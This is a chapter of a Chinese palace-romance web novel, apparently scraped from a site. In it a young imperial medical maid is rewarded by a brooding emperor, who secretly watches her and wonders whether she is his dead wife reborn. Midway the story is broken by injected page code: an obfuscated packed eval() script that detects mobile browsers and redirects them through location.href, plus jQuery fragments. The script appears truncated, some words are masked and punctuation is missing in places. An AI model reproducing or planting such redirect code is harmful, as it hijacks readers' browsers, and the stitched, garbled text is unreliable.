第29章 暗窥

作品:《阴鸷**他人很好呀!

    此时众人显然也都在忐忑地等着自己话,赵朝恩也不好太抻着,便不动声色地收回视线,咳了一声,才道:“今日奉帝王口谕前来——”


    他这么一个开场白,让众人全都提起心,阿柠也是有些忐忑,藏在袖下的手都下意识攥紧了。


    所以她要被罚了吗?


    赵朝恩道:“陛下说,有赏,今日凡太医院的医女,皆有赏。”


    啊?


    有……赏?


    胡公公也是意外,他看赵朝**时,面色和善,猜着应该没什么大碍,但是不但不责罚,反而有赏,他怀疑自己耳朵不好使。


    赵朝恩看着众人那不敢置信的样子,便觉有趣。


    他在听到元熙帝吩咐时的震惊,可以全都转到他们身上了。


    他负手而立,老神在在地道:“是,有赏。”


    说完,他一挥手,身后的太监便上前,将赏单奉给医正,这是要赏给今日前往函德殿医女的。


    阿柠听着,自然是懵了,不但没罚,还有赏?


    赵朝恩充分地欣赏了众人目瞪口呆的样子,才淡淡地道:“怎么,胡公公可是有什么疑问?”


    胡公公赶紧道:“没,没什么疑问,只是——”


    他百思不得其解:“敢问公公,这是何意?”


    赵朝恩笑得颇有深意:“陛下说要赏,哪有为什么?”


    说完,他便也拱手告辞而去,胡公公赶紧送客。


    待到函德殿众人浩浩荡荡离开了,太医院瞬间炸锅。


    今日跟着前去的医女一个个喜上眉梢,没跟着去的医女叹息连连,羡慕不已。


    至于其他人等,脸上精彩纷呈,表情各异。


    阿柠听着,半天没反应过来,她差点摔倒,丢人现眼了,结果元熙帝要赏她?


    为什么?


    阿柠拼命回想着当时的情景,他也特意看自己了吗?他一直合着眼,根本没看自己一眼,待到后来自己险些摔倒,他也只能看到自己背影。


    所以……只是因为他宽容仁慈吧?


    孙姑姑自从听到“赏”字后,差点以为自己听错了,不过她到底经的事多,很快反应过来。


    她当即对胡公公道:“陛下特意吩咐了要赏医女,这是仁慈之心,是告诉我们,并不要因为些许小事而怪责医女。”


    胡公公自然困惑,但是无论如何,皇帝都没责罚的意思,反而要赏,这是好事。


    这时便有小太


    监捧了各样膳食前来都是装盛在戗金盒中各样膳食瓜果都是最新鲜的分发给众医女不过众医女自然不会独享于是各家有份。


    阿柠这会儿正饿了突然有这样美味的膳食自然吃了一个心满意足。


    她吃着时孙姑姑也凑过来再次仔细问起来阿柠详细说了孙姑姑也是困惑不明白为什么会赏。


    阿柠其实何尝不想知道她一心惦记着元熙帝如今元熙帝竟然特意赏了医女她心里甜得仿佛喝了蜜一样。


    她当然明白他不太可能是特意为了她赏的但是能得到他的恩典和照拂那种甜蜜的感觉……真就是暖风吹过身子以至于她整个人都酥融融的感觉要化开了。


    晚间时候回到房中瑞香凑过来趴在阿柠榻前纳闷地说:“你说你这人怎么什么好事都能让你遇上?”


    阿柠不想理会瑞香她觉得瑞香嫉妒自己不过她也没什么不高兴的自己好像确实幸运一点瑞香想嫉妒就嫉妒吧。


    是以她只是不说话反正说什么都是错的。


    瑞香有些没好气:“看把你傲的不知道的以为你当娘娘了呢!”


    阿柠便有些脸红她软软地瞪了瑞香一眼:“你才当娘娘呢你全家都当娘娘!”


    瑞香一愣其他人也都愣了。


    之后大家都笑起来瑞香哼哼着道:“我还盼着当娘娘呢当了娘娘那我做梦都偷着乐!”


    据说皇帝生得俊美异常她巴不得呢!


    阿柠自己也笑了。


    不过躺在榻上她却久久不能入睡。


    她在浓郁的秋夜中聆听着落叶的声响眼前浮现的却是那个男人的眉眼。


    他低垂下浓密的睫羽苍白的肌肤如同脆弱的瓷明明高居于众人之上明明衣冠华丽可他眉眼间却流淌着一丝落寞。


    世人畏惧他不敢抬眼直视他可她却觉得他好生惹人怜惜会有抱住他的冲动。


    阿柠就在这种纷乱的思绪中慢慢地沉入梦中。


    梦中她又来到了那片雾气中不过比起昔日这里似乎一切便得温暖明亮起来她甚至闻到了阵阵果香甜丝丝的。


    尽管没看到她的无隅


    **********


    皇帝不但不曾处罚反而特意奖赏了这件事于胡公公来说自然百思不得其解不过无论如何帝王没有


    怪责,这已经算是不幸中的万幸。


    莫先洲对此倒是没什么很大的反应,只是对阿柠道:“陛下既不曾责怪,以后小心便是了。


    阿柠连忙称是。


    莫先洲却把一份医案直接递给阿柠:“你看看这些。


    阿柠翻开看,一看之下也是吃惊。


    这竟是元熙帝的医案!


    她自然知道,皇帝的医案是不会轻易示人的,都是要有几位御医共同写下,之后贴上封签,无两个御医在场不能轻易开启。


    像她这样的小医女自然没资格接触到皇帝的医案。


    莫先洲却并不在意地道:“这只是一部分,是我自己平日写的手记,外人也不知道,你随意看看就是了。


    阿柠听了,这才接过来,道:“奴婢一定小心保存着,会仔细读过。


    莫先洲略颔首,之后道:“这几日,你依然在御药局供职,若我有什么吩咐,你随时听命就是。


    阿柠自然连声称是。


    她当下捧着那医案,迫不及待地看起来,一看之下,不免心惊。


    原来元熙帝的问题并不只是不寐之症,他有严重的怪僻,比如不喜强光,是以函德殿常年遮挡着厚重的帷幔,晚间时候更是昏暗一片,几乎没有任何光亮。


    他不喜任何噪声,是以整个函德殿的宫娥都只能穿软底鞋,走路时寂静无声,甚至连函德殿周围的树木都砍伐了,免得有什么鸟雀栖息。


    他求神问道,常年茹素,不喜荤腥,平日膳食极为寡淡,往往是最简单的白粥,白糕饼,再吃用一些白菇以及豆腐类膳食。


    元熙帝酷爱沐浴,一日两次沐浴,沐浴时又只喜冷水,他身体并不若外表看来那么健壮,甚至有些羸弱,是以冷水沐浴屡次导致他受邪寒入侵,为此太医院大动干戈,函德殿宫人太监更是为此煞费苦心。


    她这么看着,越看越震惊。


    乍看之下俊美到不似**的帝王,性情竟如此古怪,其中种种,已经不是常人所能解释了。


    她又想起他那略显苍白的肌肤,剔透如玉,几乎可以感觉到其下淡青色的脉搏,她总觉得,他太美,美得有些缥缈,以至于让人感觉,下一刻仿佛要碎了。


    现在才知道,他确实是脆弱的,苍白的,像一团雾一样,仿佛稍微用力便会消散。


    这让她的心隐隐有些抽痛之感。


    那样脆弱单薄的一个人,他是怎么撑起如此繁重华丽的衣


    冠的?


    她这么想着间,却听一旁的莫先洲突然叹了一声。


    阿柠抬头看过去:“大人?


    莫先洲道:“你看了后,有何感想?


    阿柠想了想:“陛下他身体羸弱……还是要好生修养身体吧。


    莫先洲沉默了一会,才道:“太医院集结了天下良医为陛下医治,我也为他施展了我毕生所学,可是依然无济于事,我一直在想为什么。


    阿柠顿时提起心:“为何?


    莫先洲:“我思来想去,终于明白,其实陛下根本没病。


    阿柠:“没病?


    莫先洲:“皇帝龙体康健,怎么会有病?他若说有病,不在身,而在心。


    阿柠突然意识到了什么。


    莫先洲:“寒暑风雨,温凉燥湿,不过侵害于外,便是有疾,也不过是在腠理间,但喜怒哀乐,心思嗜欲,却是侵害于中,以至于日夜难眠。


    阿柠:“就是心病吧,良医难医心病,是因为——


    她犹豫了下,才道:“先皇后娘娘吧?


    莫先洲看了一眼阿柠,意味深长地叹了声:“是。


    阿柠茫然:“那该如何是好?


    他一直想着他的皇后,他对他的皇后一往情深。


    这让阿柠心里酸涩,可又心疼。


    他为了他的皇后,竟常年茹素,竟把自己的身体糟蹋成这样?


    莫先洲:“既是心病,自然不是我等凡夫俗子所能为,如今我用针刺之道,不过略解病症罢了,但是再多,便无能为力了。


    阿柠听着,闷闷地低头,鼻子却有些发酸。


    有那么一刻,她甚至有种冲动,若她能化作药石来解他困境,她也是愿意的。


    可是……她又能为他做什么呢?


    **********


    这几日阿柠人在针灸科,谁知这一日回去,恰孙姑姑着急忙慌地要去函德殿换药草。


    元熙帝性情不同一般人,是以他的寝殿中不是用药草果子便是用药草来熏殿,若是果子自然由尚膳局负责,若是药草,便要有太医院来负责更换了。


    最近帝王不寐之症,御医为元熙帝开的药方中便有药熏,是以每隔三日,太医院都要专门前去更换药草。


    阿柠也没想到,这一日轮到为帝王置换熏药,孙姑姑要带着瑞香和阿柠一起前去。


    阿柠听了,心里顿时浮现出期待。


    她想再看看他,哪怕只看一眼也好


    ,迫不及待地想看。


    孙姑姑看着阿柠那瞬间亮起的眸子,一时有些无奈:“阿柠,你——”


    安分些,安分些,她一直这么告诫阿柠,但阿柠仿佛听不懂一样。


    如今阿柠听到皇帝时的那样子,简直犹如怀春女子一般,让人心中不安。


    她在宫中多年,自然看得透彻,元熙帝那样的,他就不是寻常帝王,甚至他不是寻常男人,皇帝软禁了那么多的佛道高人,一个个的,都是要日日为帝王念经念咒的!


    皇帝真信那些吗,不,他就是要听听而已。


    总之如此性情孤僻怪异的皇帝,指望从他那里得到世俗的宠爱,指望如同戏文中一样以色侍人,别做美梦了,在年号为元熙的年代,这种事是不会有的!


    可她没办法劝,她只能无力地道:“不要惦记你不该惦记的。”


    阿柠低着头:“姑姑,我知道。”


    瑞香听这话,却探究地看了阿柠一眼。


    皇帝于她来说自然是遥远的,看不着摸不到的,但是阿柠竟然开始肖想皇帝了,她可真是野心勃勃。


    不过瑞香也忍不住想,阿柠一向运气好,说不得自己可以学学?


    也许她也可以肖想下皇帝?


    **,若能赌对了,这辈子的荣华富贵还能少了吗?


    这么想着间,一行人踏入函德殿孙姑姑再次叮嘱着阿柠和瑞香诸般细节。


    “寝殿的香薰药材是放在缸中,殿中的内侍会抬出来更换,不过有两个瓷盘,是不好拿出来,必须我们进去换,这就麻烦了。你们万万记住,等下进去寝殿,不可发出任何声响,要快速收了药草更换了,咱们进去的时候,恰赶上陛下午歇,不能早不能晚,只有大概一刻钟时候。”


    阿柠懂:“不能让陛下看到咱们换药草。”


    孙姑姑点头:“是,咱们底下人做事,不能惊扰了殿下,若是,那便是我的不是了。”


    说话间,她们已经抵达函德殿外,此时殿外侍卫森严,每个侍卫都笔挺而立,肃穆到仿佛石头。


    寝殿外侍立着一些太监宫娥,每个人都低着头,鸦雀无声,台阶下还候着几位官员,那些官员一个个屏声敛气的,这寝殿外明明站了这么多人,却是落针可闻。


    阿柠纵然已经来过一次,但再次见到这种场面,依然心中压抑,甚至觉得喘不过气来,心口压得慌。


    不过她很快想到元熙帝。


    自己只是偶


    尔来一次便觉窒息,可他呢,日日便住在这里,隔着暗黑的帷幕,在沉闷压抑的殿宇中熬过一日又一日。


    他的日子是怎么过的?


    想到这里,阿柠忍不住略抬起眼,瞥向殿宇的窗扇。


    其实函德殿的窗棂颇为宽阔,若是打开来,这函德殿也可以敞亮的,通透的,可是现在却一层又一层地包裹着,于是殿宇中阴凉,暗沉,寂静到仿佛不似人间。


    就在这种胡思乱想着,一个念头突然出现。


    这个念头太过可怕,以至于她打了一个寒颤。


    她赶紧收敛了所有的心思,小心翼翼地跟在孙姑姑后面,先是入了一处小门,走进去,旁边还有两位威严的侍卫,那侍卫还查了腰牌。


    最后终于,孙姑姑带着她们踏入寝殿中。


    一进去寝殿,阿柠便觉越发喘不过气来了。


    其实这寝殿内布置清雅,且有阵阵药香,颇为动人,可是却凭空透出一股让人窒息的气息,沉重压抑,像是大暴雨来临前的压下来的黑云。


    阿柠深吸口气,求助地看向孙姑姑。


    孙姑姑快速地给阿柠瑞瑞香使了眼色,让她们跟随在她后面,之后她先走到一处案几前,熟练地取了上面的佛手和香橼,并药草包,那药草包是由艾草、安息、独活和甘松做成的,散发着淡淡的香味。


    阿柠眼疾手快,举过去漆盘,孙姑姑放在漆盘中。


    之后孙姑姑又去了另外一处,取了相应的药草包,全都放在漆盘中。


    阿柠小心地侍立在侧,不过眼睛却不着痕迹地瞥向一旁。


    寝殿其实颇为挺阔宏伟,之所以让人感到压抑是因为窗棂上都垂着暗色的帷幔,那层层帷幔下来,把这里遮得密不透风。


    她这么看着时,突然见那边桌上摆着一对碧玉杯,玉色翠绿,晶莹剔透。


    关键是……有些熟悉。


    她下意识往那边走了两步,小心地看,脑中便浮现出一些画面。


    她便想起来了,这种碧玉杯其实是用鸳鸯玉做成的夜光杯,她上辈子似乎有一对这样的。


    突然间,眼前画面一闪,她竟想起,她那夫君手中捏着夜光杯,温柔地揽着她的肩。


    这时,衣袖却被扯了下。


    阿柠微惊,抬眼,便看到孙姑姑那张压抑着愤怒的脸。


    她顿时清醒,忙恭敬地低下头。


    而就在这时,帷幔后面,一个挺拔修长犹如翠竹一般的身形,无声地


    </p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031416|178635||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    立在那里。


    他宽大的白色软绸长袍逶迤在地衣上,乌黑的发披散在肩头,可他抿着唇,眯起漆黑的眸子,视线无声地追逐着殿中的小医女。


    自从发现了这个小医女,他便无法抑制自己,他总是在想她。


    可他又不愿意出现在她面前,更不愿意问她什么。


    纡尊降贵地问,你是朕的阿凝吗,他不想。


    可他又忍不住,渴望犹如瓢泼,狠狠地浇在他心上,他被淋得晕头转向。


    他用尚存的理智思索着这件事,这个小宫女十六岁,所以是阿凝死后,芳魂无处可归,只能依附在这么一个小女子身上?


    但是——


    若她真就是阿凝,为什么不上前握住他的手,为什么不过来抱住他?


    但凡是阿凝活了过来,她面对自己又怎么会有半分的疑惑?


    她怎么忍心让自己苦苦地煎熬着,却狠心不相见?


    可她若不是阿凝,又凭什么用那样的眼神窥探他,她也配吗?


    元熙帝又想起之前太子说的话,太子曾经来禀报过,说是有个小医女意图接近穆清,讨好穆清。


    显然李君劢对这医女颇为不满,认为她居心叵测,不过元熙帝不在意。


    他早就知道,这个世上的真心罕见,若权势富贵能换来女儿得到片刻的抚慰,未尝不可。


    他身在高位,自然用尽全力呵护着女儿,给予她所有自己能给予的,那些求名求利的,只能低头奉承讨好,小心陪护在女儿身边。


    所以李君劢提起这些,元熙帝反应平淡。


    他不会插手干预什么,但是也不会劝阻李君劢什么。


    可是现在元熙帝知道了,眼前的小医女就是那个讨好女儿的医女,所以,这医女意欲何为?她的气息让他困惑,让他迷惘,让他几乎以为这就是自己的妻子。


    她竟然不是。


    若她不是,凭什么用那样的眼神望着自己?


    元熙帝想到此间,心中的戾气陡然高涨。


    没有人可以模仿阿凝,也休想利用阿凝来蒙蔽他。


    阴郁的厌恶在他胸口弥漫,他死死地盯着那个懵懂的小医女,眸底涌起泼墨一般的黑暗,修长的指缓慢地合拢,攥起,他突然有种狠狠将这女子撕碎的冲动。


    不许,不许她和自己的阿凝如此相似,她怎么可以?


    她不配——


    就在他心神恍惚时,突然间,他看到小医女转过身来。


    她睁着一


    双澄亮乌黑的眼睛,有些紧张地四处看,小心翼翼的,又仿佛有所期待。


    一瞬间,元熙帝的所有情绪凝住了,他觉得自己的心神,自己的呼吸,全都被一根线拴住,就这么被她牵扯着,随着她的眼神而动。


    寝殿内一片寂静,元熙帝清楚地听到自己的呼吸,一下一下的。


    原来他活着,他有心跳,他的眼睛可以视物,就在他的视线所及之处,他看到了她。


    他的视线无法遏制地抚过她的面庞,审视着她脸上每一处细节。


    她肤色柔白,如雪如玉,她睫毛浓密,很长,忽闪忽闪的。


    那么浓密的睫毛……


    元熙帝觉得手心发痒,他仿佛能感觉到那睫毛轻擦过手心的奇异触感,痒,酥,心里滋生出丝丝的渴盼。


    他的厌恶和不喜全都烟消云散了,他急切地在那张脸上妻子的面容,骨相,眉眼,神韵,这些都像,都像极了她。


    只是这张脸确实有些圆润了一些,宽阔饱满的额头,脸颊鼓鼓的,脸颊那里甚至微嘟嘟着,有些婴儿肥。


    他的妻子自然不是这样的,他的妻子过于纤弱单薄,特别是她临终前,简直仿佛只有那么一抹了。


    想起这些,他攥紧的指尖颤了颤。


    他的阿凝若是投胎转世,会换一个模样吗?


    心思徘徊间,他便看到,小医女的视线落在夜光杯上。


    夜光杯……


    元熙帝骤然意识到什么,锐长的眸子眯起,专注地捕捉着她脸上细微的变化。


    她似乎有些惊讶,疑惑地看了一眼,又看了一眼。


    这种吃惊的表情太过生动,他知道这绝对不是作假的。


    元熙帝不自觉屏住呼吸,汲取着她每一个表情。


    她正疑惑着,旁边的尚宫留意到了,提醒了她,她才恋恋不舍地将视线撤回。


    之后她开始胡乱看,东瞧瞧西看看,探头探脑的,仿佛一只好奇的猫。


    元熙帝看着她咬唇,看着她皱眉,看着她惊讶地挑眉,这些神情都是如此熟悉,于他而言,如同甘霖。


    他几乎是饥渴地盯着她,恨不得把她生吞了,要尝尝她的骨,她的魂,看她到底是不是。


    可最后,她们终于换过了药草,那个尚宫带着两个小医女离开了。


    元熙帝的视线贪婪地追随着,看着她的背影。


    她生得比一般宫娥饱满一些,没有寻常宫娥的瘦弱单薄,略显丰润,不过身形也


    算曼妙柔韧。


    元熙帝这么看着微微蹙眉突然脑中浮现出一个遥远的画面。


    那时候阿凝也才十二三岁还有些孩儿气她似乎便是这样略显饱满的身形。


    她会对着铜镜照来照去之后托着圆润的小下巴有些小烦恼地叹气说自己是不是胖了。


    那时候阿凝和皇兄要好他会在暗中偷偷窥探看到她这样对二皇兄抱怨。


    二皇兄总是安慰她说阿凝这样也很好说阿凝最可人了阿凝怎么样都是最好看的。


    元熙帝突然又记起哪怕成亲后阿凝一直惦记着二皇兄担心二皇兄。


    因为二皇兄是先帝最为宠爱的皇子备位储君可遭人嫉妒构陷就在她重病的那一段她依然时不时提起。


    想起这里元熙帝的眼底再次布满阴云。


    他的阿凝之所以和他提起这些是因为阿凝一直以为他是如何敬重信服他的二兄长以为他和她一样良善柔软地盼着二皇兄能登上帝位。


    他将自己阴暗狰狞的一面尽数收敛起来弯下背脊做出良善驯服的模样于是他的阿凝便全心全意地相信着他偎依着他什么都和他说。


    有时候他也会克制不住会露出疯狂嫉妒的一面但看到阿凝那茫然困惑的眼神他会迅速压抑收敛下来。


    他拼命地伪装着自己让阿凝觉得他是最温柔良善的夫君是最脆弱无助的皇子。


    他在阿凝面前装了许久一直到阿凝离去。


    他登上帝位后无**伐之下手足相残不知道结果了多少性命可唯独二皇兄那个他疯狂嫉妒的人——


    他收回了屠刀。


    也许阿凝会回来也许真的有下辈子也许她在天上看着。


    所以他要继续低下头不要逆了她的心意。


    这么想着时他的视线再次抬起精准地落在远处那小医女身上。


    她正提着裙摆小心翼翼地走下台阶。


    阳光洒下来落在她如雪肌肤上那肌肤隐隐有粉光在流动。


    这让元熙帝想起过往想起年少时的光阴


    这让他几乎疑心自己在做梦一个自己臆想编纂的梦可眼前的一幕太过真实细腻。


    仿佛他一伸手便能触碰。


    元熙帝的喉结压抑地颤动着过了好半晌小医女走远了再也看不到了。


    他的视线停留在远处她消逝的地方许久不曾挪开。